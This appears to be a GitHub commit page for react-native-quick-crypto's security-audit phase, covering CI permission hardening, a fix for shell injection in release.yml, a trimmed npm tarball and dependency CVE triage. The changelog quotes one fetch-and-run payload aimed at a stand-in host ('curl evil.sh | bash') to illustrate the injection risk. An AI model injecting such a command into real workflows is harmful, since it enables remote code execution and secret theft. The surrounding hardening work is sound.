Skip to content

Commit e720ae2

Browse files
authored
feat(security): Phase 5 — cross-cutting security audit (CI hardening + tarball trim + audit gate) (#992)
1 parent 3e06d95 commit e720ae2

7 files changed

Lines changed: 103 additions & 17 deletions

File tree

.github/workflows/e2e-android-test.yml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,12 @@ env:
3030
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
3131
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'
3232

33+
# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with
34+
# the upload-image artifact link.
35+
permissions:
36+
contents: read
37+
pull-requests: write
38+
3339
jobs:
3440
# ============================================================================
3541
# Build Job - Gradle build + lint (runs in parallel with AVD setup)

.github/workflows/e2e-ios-test.yml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,12 @@ env:
2929
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
3030
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'
3131

32+
# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with
33+
# the upload-image artifact link.
34+
permissions:
35+
contents: read
36+
pull-requests: write
37+
3238
jobs:
3339
e2e-tests-ios:
3440
runs-on: macOS-26

.github/workflows/release.yml

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -63,20 +63,24 @@ jobs:
6363
- name: Release package to npm
6464
working-directory: packages/react-native-quick-crypto
6565
run: |
66-
if [ "${{ inputs.dry-run }}" = "true" ]; then
67-
bun release ${{ inputs.version }} --dry-run --ci
66+
if [ "$DRY_RUN" = "true" ]; then
67+
bun release "$VERSION" --dry-run --ci
6868
else
69-
bun release ${{ inputs.version }} --ci
69+
bun release "$VERSION" --ci
7070
fi
7171
env:
7272
NPM_CONFIG_PROVENANCE: true
73+
VERSION: ${{ inputs.version }}
74+
DRY_RUN: ${{ inputs.dry-run }}
7375

7476
- name: Create Git tag and GitHub release
7577
run: |
76-
if [ "${{ inputs.dry-run }}" = "true" ]; then
77-
bun run release-it ${{ inputs.version }} --dry-run --ci
78+
if [ "$DRY_RUN" = "true" ]; then
79+
bun run release-it "$VERSION" --dry-run --ci
7880
else
79-
bun run release-it ${{ inputs.version }} --ci
81+
bun run release-it "$VERSION" --ci
8082
fi
8183
env:
8284
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
85+
VERSION: ${{ inputs.version }}
86+
DRY_RUN: ${{ inputs.dry-run }}

.github/workflows/validate-cpp.yml

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,12 @@ env:
2222
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
2323
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'
2424

25+
# Minimum scopes — reviewdog posts review comments on PRs.
26+
permissions:
27+
contents: read
28+
checks: write
29+
pull-requests: write
30+
2531
jobs:
2632
validate_cpp:
2733
name: C++ Lint
@@ -35,7 +41,7 @@ jobs:
3541
find packages/react-native-quick-crypto/cpp packages/react-native-quick-crypto/android/src/main/cpp \
3642
-regex '.*\.\(cpp\|hpp\|cc\|cxx\|h\)' \
3743
-exec clang-format --style=file --dry-run --Werror {} +
38-
- uses: reviewdog/action-cpplint@master
44+
- uses: reviewdog/action-cpplint@9552c62f4bd516c1e3a6f84eae56bd864cc304c6 # v1.11.0
3945
with:
4046
github_token: ${{ secrets.github_token }}
4147
reporter: github-pr-review

.github/workflows/validate-js.yml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,12 @@ env:
3636
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
3737
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'
3838

39+
# Minimum scopes — reviewdog posts tsc errors as review comments on PRs.
40+
permissions:
41+
contents: read
42+
checks: write
43+
pull-requests: write
44+
3945
jobs:
4046
compile_js:
4147
name: Compile JS (tsc)
@@ -64,6 +70,27 @@ jobs:
6470
cd packages/react-native-quick-crypto
6571
bun circular
6672
73+
audit_runtime_deps:
74+
name: Audit runtime deps (bun audit)
75+
runs-on: ubuntu-latest
76+
steps:
77+
- uses: actions/checkout@v5
78+
79+
- uses: ./.github/actions/setup-bun
80+
81+
# Audits only the 6 runtime `dependencies:` of the published package, not the
82+
# workspace's dev/peer tooling. Workspace-level `bun audit` walks through optional
83+
# peers (expo, react-native, etc.) which surface ~70 advisories that never reach a
84+
# consumer's runtime bundle. Phase 5.1 baseline: zero advisories in the runtime tree.
85+
- name: Audit runtime dependencies
86+
run: |
87+
mkdir -p /tmp/rnqc-runtime-audit
88+
cd /tmp/rnqc-runtime-audit
89+
bun -e "const pkg=require('$GITHUB_WORKSPACE/packages/react-native-quick-crypto/package.json'); require('fs').writeFileSync('package.json', JSON.stringify({name:'rnqc-runtime-audit',version:'0.0.0',dependencies:pkg.dependencies},null,2));"
90+
cat package.json
91+
bun install --no-summary
92+
bun audit --audit-level=high
93+
6794
lint_js:
6895
name: JS Lint (eslint, prettier)
6996
runs-on: ubuntu-latest

packages/react-native-quick-crypto/package.json

Lines changed: 36 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -31,16 +31,48 @@
3131
"android/src",
3232
"ios",
3333
"cpp",
34-
"deps",
34+
"deps/blake3/c",
35+
"deps/blake3/LICENSE_A2",
36+
"deps/blake3/LICENSE_A2LLVM",
37+
"deps/blake3/LICENSE_CC0",
38+
"deps/fastpbkdf2",
39+
"deps/ncrypto/include",
40+
"deps/ncrypto/src/aead.cpp",
41+
"deps/ncrypto/src/engine.cpp",
42+
"deps/ncrypto/src/ncrypto.cpp",
43+
"deps/ncrypto/LICENSE",
44+
"deps/simdutf/include",
45+
"deps/simdutf/src",
46+
"deps/simdutf/LICENSE-MIT",
47+
"deps/simdutf/LICENSE-APACHE",
3548
"nitrogen",
36-
"react-native.config.js",
3749
"*.podspec",
3850
"README.md",
3951
"app.plugin.js",
40-
"scripts",
4152
"!**/__tests__",
4253
"!**/__fixtures__",
43-
"!**/__mocks__"
54+
"!**/__mocks__",
55+
"!**/*.tsbuildinfo",
56+
"!ios/libsodium-stable",
57+
"!deps/simdutf/src/CMakeLists.txt",
58+
"!deps/blake3/c/blake3_c_rust_bindings",
59+
"!deps/blake3/c/dependencies",
60+
"!deps/blake3/c/*_x86-64_*.S",
61+
"!deps/blake3/c/*_x86-64_*.asm",
62+
"!deps/blake3/c/blake3_avx2.c",
63+
"!deps/blake3/c/blake3_avx512.c",
64+
"!deps/blake3/c/blake3_sse2.c",
65+
"!deps/blake3/c/blake3_sse41.c",
66+
"!deps/blake3/c/blake3_tbb.cpp",
67+
"!deps/blake3/c/main.c",
68+
"!deps/blake3/c/example.c",
69+
"!deps/blake3/c/example_tbb.c",
70+
"!deps/blake3/c/test.py",
71+
"!deps/blake3/c/Makefile.testing",
72+
"!deps/blake3/c/CMakeLists.txt",
73+
"!deps/blake3/c/CMakePresets.json",
74+
"!deps/blake3/c/blake3-config.cmake.in",
75+
"!deps/blake3/c/libblake3.pc.in"
4476
],
4577
"keywords": [
4678
"react-native",
Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1244,13 +1244,13 @@ Depends on Phase 1.
12441244
- [x] Fix fire-and-forget async assertions (PBKDF2, Random)
12451245
- [x] Cross-implementation verification (Node.js ↔ RNQC for sigs/KDFs)
12461246

1247-
### Phase 5 — Cross-Cutting Audit Items (still unstarted)
1247+
### Phase 5 — Cross-Cutting Audit Items
12481248

1249-
- [ ] `bun audit` on all workspace packages
1250-
- [ ] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium)
1251-
- [ ] GitHub Actions review (injection, secrets exposure)
1252-
- [ ] `.npmignore` / published-artifact review (no test fixtures, keys, configs)
1253-
- [ ] Expo plugin (`withRNQC`) code-injection review
1249+
- [x] `bun audit` on all workspace packages
1250+
- [x] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium)
1251+
- [x] GitHub Actions review (injection, secrets exposure)
1252+
- [x] `.npmignore` / published-artifact review (no test fixtures, keys, configs)
1253+
- [x] Expo plugin (`withRNQC`) code-injection review
12541254

12551255
---
12561256

@@ -1279,3 +1279,8 @@ _Append entries as PRs land. Format: `YYYY-MM-DD — [phase.task] description (P
12791279
- 2026-04-27 — [4.3] AEAD misuse-resistance tests. Each AEAD spec mandates a strict ordering of API calls; implementations that silently accept misordered calls open up real attacks (e.g. `setAAD` after `update` lets an attacker truncate AAD bytes the application thought were authenticated). Adds 4 tests per cipher across `aes-128-gcm`, `aes-256-gcm`, `aes-128-ccm`, `aes-128-ocb`, `chacha20-poly1305` (20 tests total): (1) `setAAD` after `update` must throw, (2) `setAuthTag` on a `Cipher` instance must throw — only Decipher consumes tags, (3) `getAuthTag` on a `Decipher` instance must throw — only Cipher produces tags, (4) `decipher.final()` without first calling `setAuthTag` must throw — otherwise the call accepts unauthenticated ciphertext, defeating the AEAD guarantee. Pinning these matches Node's crypto-module behavior. (branch: `feat/security-audit-phase-4`, PR: TBD)
12801280
- 2026-04-27 — [4.4] Wrong-key/IV size rejection sweep across the cipher modes Phase 3.1 didn't cover. Phase 3.1 already pinned AES-CBC, AES-CCM, AES-GCM, and xsalsa20; this sweep extends to `aes-128-ocb`, `aes-256-ocb`, `chacha20-poly1305`, `aes-192-cbc`, `aes-256-ctr`, `des-ede3-cbc`, plus the libsodium-only `xchacha20-poly1305` and `xsalsa20-poly1305`. Per cipher, 4 tests pin the boundary: (a) correct (key, iv) lengths do NOT throw, (b) too-short key throws RangeError matching `/key length/`, (c) too-long key likewise, (d) wrong iv length throws RangeError matching `/(iv|nonce) length/` — libsodium ciphers say "nonce", OpenSSL says "iv". 32 generated tests total across 8 ciphers. The point of the sweep isn't exhaustive cipher coverage (the existing big roundtrip loop over `getCiphers()` already exercises every cipher) but to confirm boundary rejection fires uniformly across the validator's three code paths: the libsodium fast-path (strict equality), the OpenSSL default-match fast-path, and the OpenSSL per-parameter fallback that calls `getCipherInfo(name, undefined, ivLen)` to ask whether the ivLen is acceptable. (branch: `feat/security-audit-phase-4`, PR: TBD)
12811281
- 2026-04-27 — [4.6] Cross-implementation verification (Node.js ↔ RNQC) for signatures and KDFs. New `example/src/tests/keys/cross_impl_verify.ts` registered in `useTestsList`. The fixtures are all generated by `node -e` on the host (script kept in the commit message for reproducibility) and pinned hex/b64 in the test file so RNQC is exercised against bytes it didn't produce. Catches the bug class where RNQC and Node both round-trip with themselves but disagree on the wire format — e.g. an ECDSA signature DER-encoded with a leading-zero bug or a PBKDF2 output that uses the wrong endianness for the iteration counter on one side. Six pinned interop checks: (1) ECDSA P-256/SHA-256 SPKI+sig — RNQC verifies, with a Node-API fallback if `dsaEncoding: 'der'` isn't honored at the WebCrypto layer. (2) Ed25519 SPKI+sig — RNQC verifies; Ed25519 is fully deterministic per RFC 8032, so a passing verify is itself proof RNQC's verifier reproduces the exact bit-string Node's signer emits. (3) RSASSA-PKCS1-v1_5/SHA-256/2048 — RNQC verifies. (4) RSA-PSS/SHA-256/2048 (saltLength=32) — RNQC verifies. (5) PBKDF2-HMAC-SHA-256 100k iters / 32 B — sync + async output bytes match Node. (6) HKDF-SHA-256 / 32 B — sync + async output bytes match Node. Generation script (also embedded in the commit message): `node -e "const c=require('crypto'); const ec=c.generateKeyPairSync('ec',{namedCurve:'P-256'}); const sig=c.createSign('SHA256').update('cross-impl test message').sign(ec.privateKey); console.log(ec.publicKey.export({type:'spki',format:'der'}).toString('base64')); console.log(sig.toString('hex'));"` — and equivalent calls for Ed25519, RSA-PKCS1-v1_5, RSA-PSS, PBKDF2, HKDF. (branch: `feat/security-audit-phase-4`, PR: TBD)
1282+
- 2026-04-27 — [5.1] `bun audit` triage across the workspace surfaced 83 advisories across 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low). **Zero of these affect the published runtime tree of `react-native-quick-crypto`.** The 6 runtime `dependencies` (`@craftzdog/react-native-buffer 6.1.0`, `events 3.3.0`, `readable-stream 4.5.2`, `safe-buffer ^5.2.1`, `string_decoder ^1.3.0`, `util 0.12.5`) are all clean; the audit JSON does not list any of them. Every reported advisory traces to one of: (a) the `expo` / `expo-build-properties` peer-dep tooling (which only runs on the developer's machine during `npx expo prebuild`, never inside the consumer app at runtime — `@xmldom/xmldom`, `tar`, `node-forge`, `postcss`, `uuid`, `yaml`, `undici`, `ajv`, `brace-expansion`, `minimatch`, `picomatch`); (b) the example app's dev tree only (`@react-native-community/cli` → `qs`, `fast-xml-parser`; `crypto-browserify` → `elliptic` `bn.js`); (c) root-level dev tooling (`release-it` → `defu` `lodash` `lodash-es` `basic-ftp` `handlebars` `undici`; `eslint` → `flatted` `@eslint/plugin-kit`; `lint-staged` → `yaml`; `@release-it/conventional-changelog` → `@conventional-changelog/git-client`; `nitrogen` / `react-native-builder-bob` / `dpdm` / `del-cli` → glob libraries). No action required for the runtime; `bun audit --prod` would still surface ~70 of these because bun walks through optional peers, but those advisories are entirely in build-tooling code paths that never execute in a consumer's bundle. Documented as the audit baseline; revisit if `expo`'s next major refresh resolves its transitive cluster. (branch: `feat/security-audit-phase-5`, PR: TBD)
1283+
- 2026-04-27 — [5.2] Native dep CVE check. Per-dep verdicts: **BLAKE3 1.8.2** (submodule SHA `df610dd`) — SAFE, latest 1.8.5 is build/CMake-only; opportunistic bump. **ncrypto v1.1.3** — SAFE, on tip, no GitHub Security Advisories. **fastpbkdf2** (vendored, matches upstream `3c568957` from 2018-07-18, repo dormant) — SAFE, no advisories; the local TARGET_OS_MACCATALYST patch is benign. **OpenSSL-Universal pod (iOS)** pinned `~> 3.6` resolves to pod 3.6.0001 = **OpenSSL 3.6.1**; exposed to CVE-2026-2673 (Low TLS1.3 group selection), CVE-2025-11187 (Mod PBMAC1/PKCS#12), CVE-2025-15467 (**High CMS EnvelopedData stack overflow** — not reachable from RNQC's API surface), CVE-2026-31790 (Mod RSA-KEM RSASVE), all fixed in 3.6.2 — UPGRADE-RECOMMENDED to `~> 3.6.0002` once the pod ships it. **OpenSSL prefab (Android)** `io.github.ronickg:openssl:3.6.0-1` is one minor behind iOS at OpenSSL 3.6.0 — UPGRADE-REQUIRED to 3.6.1+ when the maintainer publishes it. **libsodium 1.0.20** is exposed to CVE-2025-69277 / CVE-2025-15444 in `crypto_core_ed25519_is_valid_point()`, but RNQC does not call that function (Ed25519 work goes through OpenSSL EVP, not libsodium); libsodium is opt-in via `SODIUM_ENABLED=1` and only used for XSalsa20 / XSalsa20-Poly1305 / XChaCha20-Poly1305 ciphers. SAFE in practice; UPGRADE-RECOMMENDED to 1.0.22 to clear scanners. None of these need fixes inside the Phase 5 PR; tracked as follow-ups for separate dependency-bump PRs. (branch: `feat/security-audit-phase-5`, PR: TBD)
1284+
- 2026-04-27 — [5.3] GitHub Actions hardening. Three findings, all addressed in this commit. **(1)** `release.yml` interpolated `${{ inputs.version }}` and `${{ inputs.dry-run }}` directly into `run:` shell blocks (lines 67-69, 77-79). Even though `workflow_dispatch` requires a maintainer to trigger, a malicious or compromised maintainer account could inject `; curl evil.sh | bash` and exfiltrate via the workflow's `contents: write` + `id-token: write` (npm OIDC trust). Both `inputs.*` references rewritten to `env: VAR: ${{ inputs.* }}` indirection with `"$VAR"` in shell — the GitHub-recommended pattern. **(2)** `reviewdog/action-cpplint@master` was floating on the master branch in `validate-cpp.yml`; pinned to commit SHA `9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). Confirmed via GH API that the 12 master commits since v1.11.0 are renovate-bot dependency bumps with no functional regressions. **(3)** Four workflows lacked `permissions:` blocks and inherited the repo's default `GITHUB_TOKEN` scope: `validate-cpp.yml` and `validate-js.yml` now declare `contents: read, checks: write, pull-requests: write` (reviewdog needs to post review comments); `e2e-android-test.yml` and `e2e-ios-test.yml` declare `contents: read, pull-requests: write` (the `post-maestro-screenshot` composite posts a PR comment with the imgbb-uploaded screenshot URL). Other tag-pinned third-party actions (`AdityaGarg8/remove-unwanted-software@v5`, `android-actions/setup-android@v3`, `reactivecircus/android-emulator-runner@v2`, `hendrikmuhs/ccache-action@v1.2`, `peter-evans/find-comment@v3`, `peter-evans/create-or-update-comment@v4`, `McCzarny/upload-image@v2.0.0`, `ruby/setup-ruby@v1`) are noted as supply-chain follow-ups — none float on `@master` or `@main` and the impact of a tag-rewrite on each is bounded by the workflow's now-explicit `permissions:` minimums. (branch: `feat/security-audit-phase-5`, PR: TBD)
1285+
- 2026-04-27 — [5.4] Published-artifact trim and key/secret review. `npm pack --dry-run` against the previous `files:` produced 2133 entries / 18.66 MB unpacked / 4.55 MB packed. **No keys, certs, .env files, or credentials were ever in the tarball** — the strict regex match for `(\.env|secret|\.pem|\.key|\.p12|\.pfx|\.crt|\.cer|api[-_]?key|priv[-_]?key|credential|password|token)` returned only one extension hit: `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM Debian *public* key used by simdutf's Docker scripts (benign, but irrelevant to a published RN library). Refined `files:` to (a) replace the blanket `"deps"` entry with precise per-dep allowlists matching what `QuickCrypto.podspec` source_files / `android/CMakeLists.txt` actually consume — `deps/blake3/c` only (drops the Rust crate, b3sum, benches, reference_impl, tools, test_vectors, .cargo, .github, media, Cargo.toml), `deps/ncrypto/include` + the 3 `.cpp` files explicitly named in CMakeLists.txt + `LICENSE` (drops Bazel files, cmake/, tests/, CHANGELOG, release-please-config.json, pyproject.toml), `deps/simdutf/include` + `deps/simdutf/src` (drops benchmarks/, fuzz/, tests/, scripts/, tools/, doc/, singleheader/, AI_USAGE_POLICY.md, top-level CMakeLists.txt) plus both LICENSE files, `deps/fastpbkdf2` (already minimal); (b) add `!ios/libsodium-stable` — the podspec downloads libsodium fresh at consume-time when `SODIUM_ENABLED=1` (lines 27-43 of QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67), so the 6.16 MB / 599-file vendored copy was pure publish-time pollution including 2.7 MB of test vectors (`test/default/sign.c`) and Visual Studio project files for vs2010-vs2026; (c) add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache from `lib/`; (d) drop dangling `"scripts"` and `"react-native.config.js"` entries (neither file exists); (e) add `!deps/simdutf/src/CMakeLists.txt` (build script unused at consume-time). Result: 2133 → 1024 files (−52%), 18.66 → 6.38 MB unpacked (−66%), 4.55 → 0.90 MB packed (−80%). Verified post-trim that every build-required file is still present (BLAKE3 portable+NEON+headers, ncrypto includes and 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam plus all per-arch subdirs `arm64`/`fallback`/`generic`/`haswell`/`icelake`/`lasx`/`lsx`/`ppc64`/`rvv`/`westmere`, fastpbkdf2, every `cpp/`, `src/`, `lib/`, `nitrogen/`, `android/{build.gradle,gradle.properties,CMakeLists.txt,src/}`). (branch: `feat/security-audit-phase-5`, PR: TBD)
1286+
- 2026-04-27 — [5.5] Expo plugin (`withRNQC`) code-injection review — clean. The plugin entry `app.plugin.js` calls `createRNQCPlugin(pkg.name, pkg.version)`; both args are read from `package.json` (no user input). The four config-plugin modules (`withRNQC.ts`, `withSodiumIos.ts`, `withSodiumAndroid.ts`, `withXCode.ts`) compose deterministically: `withSodiumIos` prepends a literal `"ENV['SODIUM_ENABLED'] = '1'\n"` to the Podfile guarded by an idempotent `includes()` check; `withSodiumAndroid` pushes a static `{type:'property', key:'sodiumEnabled', value:'true'}` entry; `withXCode` prepends a literal Ruby snippet to the Podfile's `post_install` block. **No user-controlled value is interpolated into shell commands, file paths, or generated source.** The single `ConfigProps` shape (`{ sodiumEnabled?: boolean }`) is used only as a boolean gate on which plugin to compose, never as a string interpolation. File-system paths use `path.join(modConfig.modRequest.platformProjectRoot, 'Podfile')` — `platformProjectRoot` is set by Expo, not the consumer, and `path.join` would also collapse any `..` traversal. Read-write cycles on the Podfile are non-atomic but Expo's plugin pipeline is sequential per project, so no race. No code-injection vector found; no fix required. (branch: `feat/security-audit-phase-5`, PR: TBD)

0 commit comments

Comments
 (0)